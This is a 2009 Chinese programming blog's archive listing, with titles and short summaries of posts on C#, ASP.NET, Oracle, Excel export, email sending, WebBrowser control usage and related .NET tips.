Struts中ActionForward带参数跳转
摘要:在Struts Action中跳转一般是用return mapping.findForward("file_delete_one");但如果要在后面带参数了,则需要如下的处理才行: ActionForward forward=mapping.findForward("file_delete_one"); ActionForward newForward=new ActionForward(); S...
阅读全文
posted @
2009-10-27 15:14
freedom831215
阅读(507)
推荐(0)
删除"拒绝访问"的文件夹
摘要:在XP中的“文件夹选项”的“查看”选项卡下去掉“使用简单文件共享(推荐)”复选框。"拒绝访问"文件夹的“属性”->“安全”->“高级”-〉“所有者”-〉“目前该项目的所有者”如果类似是"S-1-5...
阅读全文
posted @
2009-10-17 00:43
freedom831215
阅读(224)
推荐(0)
C#如何抓取网页数据、分析并且去除Html标签
摘要:由于自己的搜索引擎中做到了这一块内容,所以今天说说如何抓取网页数据、分析并且去除Html标签,给大家提供一个参考。我的平台是Visual Studio2005,C#。————————————————̵...
阅读全文
posted @
2009-10-16 17:57
freedom831215
阅读(1176)
推荐(0)
教程:jQuery警告/确认/提示弹出对话框效果
摘要:在本教程中,代码吾爱将给大家介绍一个基于jQuery的对话框插件来模拟和替换掉JavaScript中默认的弹出对话框,它包括以下几个类型的对话框:警告、确认和带输入的提示弹出框。教程目录插件概述使用方法演示下载已知问题使用协议插件概述这个jQuery弹出对话框插件(或称弹出DIV插件),主要用于替换JavaScript自带的信息提示框函数所提供的功能(它们是alert(), confirm()和p...
阅读全文
posted @
2009-10-16 15:22
freedom831215
阅读(2261)
推荐(0)
oracle权限全集
摘要:alter any cluster 修改任意簇的权限 alter any index 修改任意索引的权限 alter any role 修改任意角色的权限 alter any sequence 修改任意序列的权限 alter any snapshot 修改任意快照的权限 alter any table 修改任意表的权限 alter any trigger 修改任意触发器的权...
阅读全文
posted @
2009-10-16 01:03
freedom831215
阅读(265)
推荐(0)
C# Maximum request length exceeded. 产生错误的原因,以及解决方法.
摘要:这个错误的引起是因为应用程序最大请求字节长度超过了默认请求字节长度,可以在Web.Config添加如下配置:<system.web>下面加上下面一句.搞定.<httpRuntime executionTimeout="300" maxRequestLength="51200"/>或加如下一段也可解决.<httpRuntime executionTimeout="120...
阅读全文
posted @
2009-10-15 14:10
freedom831215
阅读(467)
推荐(0)
Oracle开发常见问题
摘要:Oracle开发常见问题 SQL Server和Oracle两大数据库系统是日常项目开发中最常见的数据库,但更多的初学者可能对SQL Server会更熟悉一些,因为微软做的东西就是简单易用,比较傻瓜化。但Oracle在市场中的地位又不容忽视,而Oracle和SQL Server还是有着很大的差别的。本节就讲一些初学者在使用Oracle进行开发时会经常遇到的问题。5.5.1 Oracle和SQL S...
阅读全文
posted @
2009-10-09 17:48
freedom831215
阅读(234)
推荐(0)
System.Transactions 事务处理
摘要:System.Transactions 事务处理在 .NET Framework 2.0中增加了System.Transactions,这是一种新的命名空间,完全专注于控制事务性行为。引入了执行事务性工作的更简单方法及一些新的性能优化。System.Transactions提供了一个"轻量级"的、易于使用的Transaction框架。在上节中,要实现Transaction需要利用Enterpris...
阅读全文
posted @
2009-10-09 17:45
freedom831215
阅读(282)
推荐(0)
判断字符串是否可以转换为int型
摘要:使用正则表达式/// <summary> /// 判断字符串是否可以转换为int型 /// </summary> /// <param name="strNumber"></param> /// <returns></returns> public bool IsNumber(String strNumber) { Regex...
阅读全文
posted @
2009-10-08 10:43
freedom831215
阅读(1006)
推荐(0)
递归得到指定文件夹下所有.mdb文件
摘要:private void button3_Click(object sender, EventArgs e) { folderBrowserDialog1.ShowDialog(); string path = folderBrowserDialog1.SelectedPath; if (!string.IsNullOrEmpty(path.Trim())) { textBox1.Text = p...
阅读全文
posted @
2009-10-07 22:31
freedom831215
阅读(233)
推荐(0)
C#发送Email邮件三种方法的总结
摘要:通过.Net FrameWork 2.0下提供的“System.Net.Mail”可以轻松的实现,本文列举了3种途径来发送:1.通过Localhost;2.通过普通SMTP;3.通过SSL的SMTP;下面一个一个来说: 1.通过LocalHostpublic void SendMailLocalhost(){System.Net.Mail.MailMessage msg =...
阅读全文
posted @
2009-10-03 18:27
freedom831215
阅读(495)
推荐(0)
浅析C#发送邮件在不同环境下的实现
摘要:C#发送邮件C/S,B/S通用的执行有没有方法呢?我们知道C#发送邮件是我们编程中经常碰到的具体的具体的功能,那么具体的会用到什么方法呢?C#发送邮件实现实例:usingSystem; usingSystem.Data; usingSystem.Configuration; usingSystem.Web; usingSystem.Web.Security; usingSystem.Web.UI;...
阅读全文
posted @
2009-10-03 18:27
freedom831215
阅读(199)
推荐(0)
C#发送邮件的实现实例解析
摘要:C#发送邮件使用System.Net.Mail来实现,那么在这种实现中要注意这样几个问题是什么?C#发送邮件使用System.Net.Mail来实现的具体的实例是什么呢?现在开始我们的讲述。1、System.Net.Mail是.NET 2.0以后的版本中被推荐使用的方法,它解决了一些编码问题和一些安全验证的问题,并且对MailMessage类重写,提供了更多的函数,使得建立MailMessage更...
阅读全文
posted @
2009-10-03 18:26
freedom831215
阅读(290)
推荐(0)
.net 实现 URL重写,伪静态
摘要:一,获得Mircosoft URLRewriter.dll:获得Mircosoft URLRewriter.dll可以到http://www.microsoft.com/china/msdn/library/webservices/asp.net/URLRewriting.mspx?mfr=true下载完毕后,导入工程,我这里没有对该工程做任何修改,保留了原来的重写方式,然后直接在VS2005里面...
阅读全文
posted @
2009-10-03 15:50
freedom831215
阅读(245)
推荐(0)
jQuery调用Asp.net Ajax页面中的方法
摘要:原来用jQuery的ajax方式调用asp.net页面基本都是调用单个页面,由调用页面Response内容,而现在采用asp.net ajax后,我们则可以更完美的使用jQuery和asp.net结合了,代码如下: <asp:ScriptManager ID="ScriptManager1" runat="server" ><Scripts><asp:ScriptRe...
阅读全文
posted @
2009-10-03 06:52
freedom831215
阅读(359)
推荐(0)
asp.net利用RAR实现文件压缩解压缩
摘要:如果服务器上安装了RAR程序,那么asp.net可以调用RAR实现文件压缩与解压缩。不过要注意的是,由于Web程序不能直接调用客户端的程序(除非用ActiveX,ActiveX几乎被废弃),所以如果要想实现让用户把本地文件用网页解压缩只有把文件上传到服务器上再调用服务器上的RAR压缩,同理要解压缩本地的RAR文件可以把文件上传到服务器解压再拿回来。本文讲怎么在服务器端的目录解压缩文件!效果图:前台...
阅读全文
posted @
2009-10-03 06:49
freedom831215
阅读(407)
推荐(0)
ASP.NET获取客户端IP/用户名等信息
摘要:1. 在ASP.NET中专用属性: 获取服务器电脑名:Page.Server.ManchineName 获取用户信息:Page.User 获取客户端电脑名:Page.Request.UserHostName 获取客户端电脑IP:Page.Request.UserHostAddress 2. 在网络编程中的通用方法: 获取当前电脑名:static System.Net.Dns.GetHostName...
阅读全文
posted @
2009-10-03 06:48
freedom831215
阅读(369)
推荐(0)
C#中string与byte[]的转换帮助类
摘要:/* * @author wuerping * @version 1.0 * @date 2004/11/30 * @description: */using System;using System.Text;namespace sidlehelper{ /// <summary> /// summary description for strhelper. /// 命名缩写: ...
阅读全文
posted @
2009-10-03 06:47
freedom831215
阅读(154)
推荐(0)
添加axWebBrowser控件
摘要:.com-->Microsoft Web Browser
阅读全文
posted @
2009-10-03 06:47
freedom831215
阅读(484)
推荐(0)
C#控件
摘要:控件引用了,但是没有加载啊 CuteEditor 6.0 在线HTML编辑器的领航者 http://bbs.topsage.com/dispbbs.asp?boardID=123&ID=144183 ComponentArt.Charting.WebChart.dll http://bbs.topsage.com/dispbbs.asp?boardID=123&ID=144386 ...
阅读全文
posted @
2009-10-03 06:46
freedom831215
阅读(284)
推荐(0)
DataReader转到DataSet
摘要:(1) DataReader转为DataSet的类: private DataSet DataReaderToDataSet(IDataReader reader) { DataTable table = new DataTable(); int fieldCount = reader.FieldCount; for (int i = 0; i < fieldCount; i++) { ta...
阅读全文
posted @
2009-10-03 06:45
freedom831215
阅读(371)
推荐(0)
css之自动换行
摘要:自动换行问题,正常字符的换行是比较合理的,而连续的数字和英文字符常常将容器撑大,挺让人头疼,下面介绍的是CSS如何实现换行的方法对于div,p等块级元素 正常文字的换行(亚洲文字和非亚洲文字)元素拥有默认的white-space:normal,当定义的宽度之后自动换行html<div id="wrap">正常文字的换行(亚洲文字和非亚洲文字)元素拥有默认的white-space:nor...
阅读全文
posted @
2009-10-03 06:44
freedom831215
阅读(210)
推荐(0)
命名空间“Microsoft”中不存在类型或命名空间名称“Office ”(是缺少程序集引用吗?)
摘要:关键字: 命名空间 类型 命名空间 office 程序集引用 interop excel workbook worksheet 命名空间“Microsoft”中不存在类型或命名空间名称“Office ”(是缺少程序集引用吗?) 解决办法: 添加引用/com/Microsoft Office 11.0 Object Library 然后在程序中 C#代...
阅读全文
posted @
2009-10-03 06:43
freedom831215
阅读(490)
推荐(0)
C#实现一个用于开机启动其他程序的Windows服务
摘要:今天决定写写博客,不为别的,只当自己的积累,如果与此同时能不误导他人甚至给了朋友们一些启发,那真是更好了! 程序的目的和用途: 很多开机启动程序仅仅加在启动项里面,只有登陆后才真正启动。windows服务在开机未进行用户登录前就启动了。正是利用这一点,解决一些服务器自动重启后特定软件也自动启动的问题。 1.新建一个服务项目 visual C#----windows----windows服务; 2....
阅读全文
posted @
2009-10-03 06:42
freedom831215
阅读(624)
推荐(0)
C#中随机生成一串字母+数字的字符串
摘要:建议还是直接用全球唯一标识符(GUID)好了,GUID可被视作永不重复的,并且在不同计算机之前也不会重复,生成方法极简单: var 编号=Guid.NewGuid().ToString(); 生成的格式如:4546a166-b647-46f7-8409-9789ec8f8324 如果不想要“-”符号,那就: var 编号=Guid.NewGuid().ToString("n...
阅读全文
posted @
2009-10-03 06:42
freedom831215
阅读(993)
推荐(0)
webBrowser控制新窗口
摘要:当页面为新窗口弹出时,下面代码分别演示如何在新建form中加载页面以及当前form的web控件加载form 1、新建form,这个大多数人都应该知道。用newwindow2就可以了,不过vs2005的web控件是ms封装过的,需要注意一下。 using System; using System.Collections.Generic; using System.ComponentModel; us...
阅读全文
posted @
2009-10-03 06:41
freedom831215
阅读(480)
推荐(0)
C# WebBrowser强制使新窗口网页只在WebBrowser打开
摘要:最近写了个软件叫WebBrowser,目的用于,网页的自动操作处理,就是说,所有你在网页上面的操作,都可以录到一个脚本中,然后可以回放这个操作过程。。我是说任何过程。 程序是用C#写的,其中遇到了一个难题,对于网页,我是用C#内置的WebBrowser控件控制,但是这个控件有个问题,就是对于一些网页上的链接,如果你在IE打开的时候,它是在新窗口打开的话,这时候,你在WebBrowser点击的话,它...
阅读全文
posted @
2009-10-03 06:40
freedom831215
阅读(1464)
推荐(0)
Net下WinForm换肤控件整理
摘要:1. 东日IrisSkin IrisSkin 共有两个版本,一个是IrisSkin.dll 用于.Net Framework1.0/1.1 和IrisSkin2.dll 用于.Net Framework2.0版本。详细内容见安装文件的help文档。 除此之外,东日还有两个很cool的Menu: MatrixMenu和WheelMenu。 (详细内容请参见http://www.sunisoft.cn...
阅读全文
posted @
2009-10-03 06:40
freedom831215
阅读(335)
推荐(0)
c#创建access数据库和数据表
摘要:由于在程序中使用了ADOX,所以先要在解决方案中引用之,方法如下: 解决方案资源管理器-->引用-->(右键)添加引用-->COM-->Microsoft ADO Ext. 2.8 for DDL and Security 1.ADOX概述: Microsoft® ActiveX® Data Objects Extensions for Da...
阅读全文
posted @
2009-10-03 06:39
freedom831215
阅读(1078)
推荐(1)
.NET开发中的一些小技巧
摘要:这篇文章来自是Mukund Pujari的《Some Cool Tips for .NET》,本人给大家翻译总结一下,我英语水平也就那么回事,不合适的地方还是请大家提出来。 1. 如何创建一个可改变大小没有标题栏的窗体?(How to create a form with resizing borders and no title bar?) form1.Text = string. Empty;...
阅读全文
posted @
2009-10-03 06:38
freedom831215
阅读(206)
推荐(0)
c#开发应避免的几个小滥用
摘要:一 String和StringBuilder 少量的字符串操作不宜采用StringBuilder。 由于string是不可变得对象,对于string的叠加,每次操作都会生成一个新的string对象。所以针对大量string的操作时,我们会采用StringBuilde。但似乎很多人都知道这一点,所以只要字符串相加,不管三七二一都用StringBuilder。其实这是个误区,在这里要注意"大量"一词...
阅读全文
posted @
2009-10-03 06:38
freedom831215
阅读(185)
推荐(0)
C#基础全接触
摘要:引用类型是类型安全的指针,它们的内存是分配在堆(保存指针地址)上的。 String、数组、类、接口和委托都是引用类型。 强制类型转换与as类型转换的区别:当类型转换非法时,强制类型转换将抛出一个System.InvalidCastException异常, 而as不会抛出异常,它返回一个null值。 用using创建别名:using console = System.Console; 访问限定符: ...
阅读全文
posted @
2009-10-03 06:37
freedom831215
阅读(131)
推荐(0)
★【汇总c#.net常用函数和方法集】★
摘要:●1、DateTime 数字型 System.DateTime currentTime=new System.DateTime(); 1.1 取当前年月日时分秒 currentTime=System.DateTime.Now; 1.2 取当前年 int 年=currentTime.Year; 1.3 取当前月 int 月= currentTime.Month; 1.4 取当前日 in...
阅读全文
posted @
2009-10-03 06:36
freedom831215
阅读(165)
推荐(0)
★【C#日期函数所有样式大全】★
摘要:C#日期相减 DateTime dt = Convert.ToDateTime(this.TextBox1.Text); DateTime de = Convert.ToDateTime(this.TextBox2.Text); System.TimeSpan ts = dt.Subtract(de); this.Label1.Text = "天" + ts.Days.ToString() + ...
阅读全文
posted @
2009-10-03 06:35
freedom831215
阅读(144)
推荐(0)
【C#+ASP.NET】ASP.NET跨页面传值技巧总结
摘要:★1.使用QueryString变量 QueryString是一种非常简单的传值方式,他可以将传送的值显示在浏览器的地址栏中。如果是传递一个或多个安全性要求不高或是结构简单的数值时,可以使用这个方法。但是对于传递数组或对象的话,就不能用这个方法了。下面是一个例子: a.aspx的C#代码 private void Button1_Click(object sender,Syste...
阅读全文
posted @
2009-10-03 06:35
freedom831215
阅读(194)
推荐(0)
★【C#常用排序算法大全】★
摘要:●冒泡排序 using System; namespace BubbleSorter { public class BubbleSorter { public void Sort(int [] list) { int i,j,temp; bool done=false; j=1; while((j<list.Length)&& (!done)) { done=true;...
阅读全文
posted @
2009-10-03 06:34
freedom831215
阅读(140)
推荐(0)
在C#中利用DirectX实现声音播放
摘要:我感觉声音的播放比较简单。我们从播放声音开始。为什么我这么觉得?我也不知道。 这里是展示最简单的DirectX播放声音的例子,我尽量省略了无关的代码。最后的代码只有19行,够简单了吧? 准备工作: 1.安装了DirectX SDK(有9个DLL文件)。这里我们只用到MicroSoft.DirectX.dll 和 Microsoft.Directx.DirectSound.dll 2...
阅读全文
posted @
2009-10-03 06:34
freedom831215
阅读(610)
推荐(0)
如何动态加载控件以及插件编程思想(C#)
摘要:控件,在实现快速开发中起着非常重要的作用,它可以将某一特定功能封装起来,供可户程序员调用,更重要的是它还可以实现插件式开发,使软件的灵活性、可扩充性大大增强。在网络上,也有很多动态加载控件、动态调用类成员等的资料。下面,我就将动态加载控件总结一下,以供大家参考。(不过由于本人水平有限,不一定有参考价值,写出来一方面是为了总结自己,以求提高,另一方面也希望各为朋友看到我的不足,给我提出宝贵意见) 一...
阅读全文
posted @
2009-10-03 06:33
freedom831215
阅读(404)
推荐(0)
C#Socket编程
摘要:Microsoft.Net Framework为应用程序访问Internet提供了分层的、可扩展的以及受管辖的网络服务,其名字空间System.Net和System.Net.Sockets包含丰富的类可以开发多种网络应用程序。.Net类采用的分层结构允许应用程序在不同的控制级别上访问网络,开发人员可以根据需要选择针对不同的级别编制程序,这些级别几乎囊括了Internet的所有需要--从socket...
阅读全文
posted @
2009-10-03 06:33
freedom831215
阅读(688)
推荐(0)
VS.Net 下的Wondows窗体常用项目
摘要:使用.Net编写Windows程序,对于窗体控制常见项目 1、让窗体在启动时在指定位置出现 form1.StartPosition Manual CenterScreen WindowsDefaultLocation (default) WindowsDefaultBounds CenterParent 只有在窗体启动前设置才有效。 2、设置窗体的图标 form1.Icon 3、设置该窗体成为多个...
阅读全文
posted @
2009-10-03 06:33
freedom831215
阅读(238)
推荐(0)
cookie全攻略
摘要:Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好XX,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie。想全面了解 Cookie吗?看看下文吧! 一.了解Cookie 适用对象:初级读者 Cookie是当你浏览某网站时...
阅读全文
posted @
2009-10-03 06:28
freedom831215
阅读(220)
推荐(0)
C#数据导出到Excel
摘要:C#导出到EXCEL 1.首先声明,这些方法也都是本人搜集的资料,然后为已所用,程序中不足之处,还请高手指点. 这些方法都没有关闭Excel进程。 2.网上有好多关于用SQL语句导入导出的例子,这里不再重复写了。 方法1:调用com组件,导出access数据到Excel,就是直接调用access的导出功能,此方法速度超级快 using Access; Access.ApplicationClass...
阅读全文
posted @
2009-10-03 06:26
freedom831215
阅读(463)
推荐(0)
session和cookie
摘要:一、cookie机制和session机制的区别 ************************************************************************************* 具体来说cookie机制采用的是在客户端保持状态的方案,而session机制采用的是在服务器端保持状态的方案。同时我们也看到,由于才服务器端保持状态的方案在客户端也需要保存一个标识...
阅读全文
posted @
2009-10-03 06:16
freedom831215
阅读(176)
推荐(0)
找不到using System.Web.Script.Services 的问题
摘要:using System.Web.Script.Services; 这个命名空间并不是在System.Web中,而是在ajax扩展中。 需要安装ASP.NET 2.0 AJAX Extensions,然后在项目上添加引用:System.Web.Extensions 最后在引用命名空间中添加using System.Web.Script.Services
阅读全文
posted @
2009-10-03 06:14
freedom831215
阅读(351)
推荐(0)
LINQ体验系列文章导航
摘要:LINQ体验系列文章导航 LINQ体验系列文章导航LINQ推荐资源推荐一个大家学习和交流LINQ的地方,就是博客园的LINQ专题和LINQ交流小组。LINQ专题中整理了有关LINQ方方面面的入门、进阶、深入的文章;学习中遇到什么问题或者疑问也可以LINQ交流小组去提问,往往你会得到意想不到的收获哦。 LINQ专题:http://kb.cnblogs.com/zt/linq/LINQ小组:http:...
阅读全文
posted @
2009-10-03 06:14
freedom831215
阅读(142)
推荐(0)
DataView.RowFilter 时间段统计
摘要:System.Windows.Forms.ComboBox comboName = new System.Windows.Forms.ComboBox(); this.comboName.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.comboName.FormattingEnabled = true; ...
阅读全文
posted @
2009-10-03 06:12
freedom831215
阅读(591)
推荐(0)
c#取本月的最后一天
摘要:DateTime lastDay = Convert.ToDateTime(DateTime.Now.AddMonths(1).ToString("yyyy-MM-01")).AddDays(-1); lastDay即为本月的最后一天,首先去下个月的第一天DateTime.Now.AddMonths(1).ToString("yyyy-MM-01"),再在这个基础上减去1天,AddDays(-1)...
阅读全文
posted @
2009-10-03 06:12
freedom831215
阅读(1090)
推荐(0)
开心网外挂开发手记
摘要:做一个Web游戏外挂需要的准备知识: 1) 需要有耐心 2) 熟悉HTML, JavaScript,特别是FORM 3) 熟悉HTTP协议,特别是Cookie, URL的编码方式和POST, GET内容格式 4) 熟悉游戏本身,能抽象出最优的赚钱/升级的数学模型 5) 掌握一门语言,白菜萝卜都可以,我比较喜欢用Python和C# 6) 需要一些抓包的工具,比如Fiddler 好了,来个例子,开心网...
阅读全文
posted @
2009-10-03 06:12
freedom831215
阅读(630)
推荐(0)
在.net中利用webbrowser控件实现WinForm与WebForm交互1
摘要:在.net中的WebBrowser 控件可以让你装载Windows Form 应用程序中的Web 网页和其它采用浏览器的文件。可以使用webbrowser 控件将现有的web框架控制项加入至 Windows Form 客户端应用程序。 还是直接看代码吧。 WebBrowser 控制项 提供的属性、方法和事件,可用来实现 Internet Explorer 的控制项 webBrowser1.Navi...
阅读全文
posted @
2009-10-03 06:11
freedom831215
阅读(404)
推荐(0)
在.net中利用webbrowser控件实现WinForm与WebForm交互2
摘要:话说有了WebBrowser类,终于不用自己手动封装SHDocVw的AxWebBrowser这个ActiveX控件了。这个类如果仅仅作为一个和IE一模一样浏览器,那就太没意思了(还不如直接用IE呢)。那么,无论我们是想做一个“定制版IE”,还是希望利用HTML来做用户界面(指WinApp而非WebApp。许多单机软件,包括Windows的帮助支持中心,都是HTML做的),都...
阅读全文
posted @
2009-10-03 06:11
freedom831215
阅读(483)
推荐(0)
基于.Net平台应用程序唯一运行实例C#代码实现
摘要:主要代码 SingleInstance.cs文件, using System; using System.IO; using System.Diagnostics; using System.Threading; using System.Reflection; using System.Runtime.InteropServices; namespace Zhengzuo.CSharpCode ...
阅读全文
posted @
2009-10-03 06:10
freedom831215
阅读(434)
推荐(0)
DotNet Form间数据传递
摘要:DotNet Form间数据传递 cancersyf aspxcn.com 2002-09-02 1. WebForm l 利用System.Web Namespace 中 HttpResponse Class的Redirect方法传递,HttpRequest Class的 QueryString方法接收 传递来源类webform1 中的某个方法里 使用 Response.Redirect ("W...
阅读全文
posted @
2009-10-03 06:09
freedom831215
阅读(217)
推荐(0)
webBrowser1_DocumentCompleted不停被调用
摘要:关于DocumentCompleted事件,MSDN给出的解释是在文档加载完毕后执行,但是在我的程序中DocumentCompleted却被多次调用,查了一下资料,大概出现了以下几种情况。 1、WebBrowser载入一个页面后DocumentCompleted事件会执行两次,但这两次的ReadyState状态不一样,分别是Intercative和Complete。而MSDN对这两种状态值的解释是...
阅读全文
posted @
2009-10-03 06:09
freedom831215
阅读(848)
推荐(0)
也说C#实现对Word文件读写
摘要:2:也说C#实现对Word文件读写 手头上的一个项目报表相对比较简单,所以报表打印采用VBA引擎,通过定制Word模版,然后根据模版需要填充数据,然后OK,打印即可。 实现方法:首先需要引用VBA组建,我用的是Office2003 Professional,Dll版本号为Microsoft Word11.0, 另外当然还需要引用Interop.Word.Dll. 代码如下: #region 打开W...
阅读全文
posted @
2009-10-03 06:08
freedom831215
阅读(378)
推荐(0)
用Visual C#动态生成组件
摘要:用Visual C#动态生成组件 以前在用Delphi写程序的时候,总不喜欢在窗体上排放很多组件,这一方面有点不美观,并且在调试程序时候,也不是十分方便。通常在写程序的时候,当要用到某些组件,采用的方法一般都是动态创建,用完以后就释放掉。Visual C#在程序运行的时候也可以动态创建组件,下面就结合一个程序例子来具体介绍如何用Visual C#动态生成组件。首先让我们了解一下,在动态创建组件...
阅读全文
posted @
2009-10-03 06:08
freedom831215
阅读(300)
推荐(0)
在C#中运用SQLDMO备份和恢复SQLServer数据库
摘要:在C#中运用SQLDMO备份和恢复Microsoft SQL Server数据库 SQLDMO(SQL Distributed Management Objects,SQL分布式管理对象)封装了Microsoft SQL Server数据库中的对象。SQLDMO是Microsoft SQL Server中企业管理器所使用的应用程序接口,所以它可以执行很多功能,其中当然也包括对数据库的备份和恢复。 ...
阅读全文
posted @
2009-10-03 06:07
freedom831215
阅读(254)
推荐(0)
GridView跨页选择多行数据,并循环添加一行DataSet数据
摘要:try { DataTable dt = new DataTable(); //获取Utility_Pre.aspx多个ID Session string[] strArrUtilizeID = Session["utilizeID"].ToString().Split(';'); //ID循环 for (int i = 0; i < strArrUtilizeID.Length-1; ...
阅读全文
posted @
2009-10-03 06:07
freedom831215
阅读(356)
推荐(0)
ASP.NET刷新页面的六种方法
摘要:第一: Response.Redirect( Request.Url.ToString( ) ); 第二: Response.Write( "<script language=javascript>window.location.href=document.URL;</script>" ); 第三: Response.AddHeader( "Refresh","0" ); ...
阅读全文
posted @
2009-10-03 06:06
freedom831215
阅读(491)
推荐(0)
ASP.NET中实现GridView合并
摘要:方法1: #region 合并单元格 protected void Unite(GridView gv) { int i; string LastType1; int LastCell; if (gv.Rows.Count > 0) { for (int j = 0; j < 6; j++) { if (j != 1 && j != 2 && j !=...
阅读全文
posted @
2009-10-03 06:06
freedom831215
阅读(238)
推荐(0)
数据库监控缓存
摘要:ALTER DATABASE 数据库名 SET ENABLE_BROKER using System; using System.Data; using System.Configuration; using System.Web; using System.Web.Security; using System.Web.UI; using System.Web.UI.WebControls; us...
阅读全文
posted @
2009-10-03 06:05
freedom831215
阅读(144)
推荐(0)
ASP.Net快速开发新闻系统 在线播放
摘要:http://www.so138.com/sov/d19a5913-88cf-4abf-a487-69293bb0c403.html
阅读全文
posted @
2009-10-03 06:05
freedom831215
阅读(140)
推荐(0)
修改删除目录操作之后,Session失效问题解决方案
摘要:在Web项目中使用 Directory.Move(olddir,newdir)修改目录名称或使用Directory.Delete(true)删除目录后, 发现Session都失效,后来经过试验发现,如果删除改变的目录不属于当前项目所在虚拟目录,则Session可用,相反则不可用;调试跟踪中提示的:Session.get_item()……返回null;后经过研究发现,在虚拟目...
阅读全文
posted @
2009-10-03 06:03
freedom831215
阅读(617)
推荐(0)
动态添加用户控件
摘要:<%@ Register Src="~/SysManage/RoleManage/RoleUserControl.ascx" TagName="RoleUserControl" TagPrefix="ruc1"%>SysManage_RoleManage_RoleUserControl roleUserControl = LoadControl(@"RoleUserControl.as...
阅读全文
posted @
2009-10-03 06:02
freedom831215
阅读(143)
推荐(0)
服务器端创建HTML标签
摘要:HtmlGenericControl hgc = new HtmlGenericControl("div"); hgc.Attributes.Add("height", "50px"); hgc.Style.Add("width", "160px"); hgc.Controls.Add(image); hgc.Controls.Add(lab2); hgc.Controls.Add(lab3); ...
阅读全文
posted @
2009-10-03 06:01
freedom831215
阅读(184)
推荐(0)
ASp.net 操作 Excel 分页导出数据
摘要:引用:通过Com 引用 Microsoft Excel 5.0 对象程序库,引用后 bin 文件夹中会出现 Interop.Excel.dll ,Microsoft.Vbe.Interop.dll , Office.dll 三个文件。 //=====================ExcelHelper(套用模板输出Excel,并对数据进行分页)============== using Syste...
阅读全文
posted @
2009-10-03 06:01
freedom831215
阅读(604)
推荐(0)
非常经典的asp.net验证码制作实例代码详解
摘要:一、ASP.Net的验证码的作用 对于一个预防攻击的web表单来讲,验证码通常是一个常见的措施。因为如果对于一些public区域的页面内容来讲,譬如一个登录表单,如果没有必要的安全措施,很可能遭到模拟登录的暴力破解攻击,要么轻易获得特定账户的登录信息,要么给服务器增加了大量的负荷,影响正常的服务。解决的办法,一般就是在登录前给出一个随机的信息(验证码),显示在页面上,让用户填写,以确保用户是通过w...
阅读全文
posted @
2009-10-03 06:00
freedom831215
阅读(363)
推荐(0)
datagridview与Excel的导入导出问题
摘要:导入Excel private void button1_Click(object sender, EventArgs e) { //this.openFileDialog1.ShowDialog(); OpenFileDialog openfile = new OpenFileDialog(); openfile.Filter = "工作薄(*.xls)|*.xls|所有文件(*.*)|*.*"...
阅读全文
posted @
2009-10-03 06:00
freedom831215
阅读(281)
推荐(0)
如何添加Microsoft.Office.Interop.Excel引用
摘要:Microsoft.Office.Interop.Excel命名空间要添加什么引用 在visual Studio 2005命令提示工具中,定位到Excel安装目录,运行“TlbImp EXCEL.EXE”命令,把Excel.exe编译为Excel.dll。这一步会在你的机器上面的安装Office的目录下面的Office11(office2003)目录下生成Excell.d...
阅读全文
posted @
2009-10-03 06:00
freedom831215
阅读(3674)
推荐(0)
C#将Excel表格中的数据导入SQL数据库
摘要:private static string _filePath=string.Empty ; #region Excel导入SQL数据库 /// <summary> /// 获取Excel数据表列表 /// </summary> /// <returns></returns> public static ArrayList GetExcelTable...
阅读全文
posted @
2009-10-03 05:59
freedom831215
阅读(718)
推荐(0)
c#操作excel后关闭excel.exe的方法
摘要:C#和Asp.net下excel进程一被打开,有时就无法关闭, 尤其是website.对关闭该进程有过GC、release等方法,但这些方法并不是在所有情况下均适用。于是提出了kill process的方法, 目前我见过的方法多是用进程创建时间筛选excel.exe进程, 然后kill 。 这样的方法是不精确的, 也是不安全的, 通过对网上一些关于Api运用文章的阅读, 我找到了更为直接精确找到这...
阅读全文
posted @
2009-10-03 05:59
freedom831215
阅读(483)
推荐(0)
巧用C#实现所有窗体控件跟随窗体尺寸自由变换
摘要:using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Collecti...
阅读全文
posted @
2009-10-03 05:58
freedom831215
阅读(298)
推荐(0)
中文SqlHelper.cs类
摘要:using System;using System.Configuration;using System.Data;using System.Data.SqlClient;using System.Collections;namespace com.DataAccess{/// <summary>/// SqlHelper类提供很高的数据访问性能, /// 使用SqlClient类的通...
阅读全文
posted @
2009-10-03 05:58
freedom831215
阅读(227)
推荐(0)
ASP.NET上传文件到数据库
摘要:(sqlserver 为例) 存储文件的数据库中的字段为 jimage,类型为 image。在代码中定义类型为 byte[]的一个变量 buf,在上传组件的 PostFile 中,从它的 InputStream读出字节数组,将 buf 赋给数据字段 jimage 就可以了。 int len = this.File1.PostedFile.ContentLength; byte[] buf = ne...
阅读全文
posted @
2009-10-03 05:57
freedom831215
阅读(367)
推荐(0)
ASP.NET中在线用户统计的一点细节
摘要:private void Page_Load(object sender, System.EventArgs e) { Visitors.Text = "本站当前有: <b>" + Application["user_sessions"].ToString() + "" + "</b> 位访问者 !"; } <title>在线用户</title> </head> <body> <asp:label...
阅读全文
posted @
2009-10-03 05:57
freedom831215
阅读(177)
推荐(0)
The TargetControlID of 'xxx' is not valid 错误及解决办法
摘要:环境:asp.net 2.0 VS.Net 2005安装Ajax 拖一个控件上去,设置好并编译的时候,提示:The TargetControlID of 'Rebect1' is not valid 等类似错误。 错误原因:没有设置完该控件的必须属性。 解决办法:继续完成设置。 比如说:一个AlwaysVisibleControlExtender 控件,如果不设置其TargetControlID...
阅读全文
posted @
2009-10-03 05:52
freedom831215
阅读(210)
推荐(0)
webpart小结
摘要:在学习之前强烈要求学习者先把数据库配置好,不然会把你搞得一头雾水,我就是这样的~~ 配置方法其实不难,首先运行C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727下的aspnet_regsql.exe,数据库管理工具,之后要求选择一个数据库作为webpart的数据库,选一个吧,之后,打开这个数据库,你会看到自动生成了很多的表,都是以aspnet_开头的,不管它...
阅读全文
posted @
2009-10-03 05:51
freedom831215
阅读(179)
推荐(0)
webservice
摘要:http://www.webxml.com.cn/h/696642535A57594C5779673D.aspx http://www.ayandy.com/
阅读全文
posted @
2009-10-03 05:51
freedom831215
阅读(102)
推荐(0)
C#如何快速高效地导出10万以上的大量数据
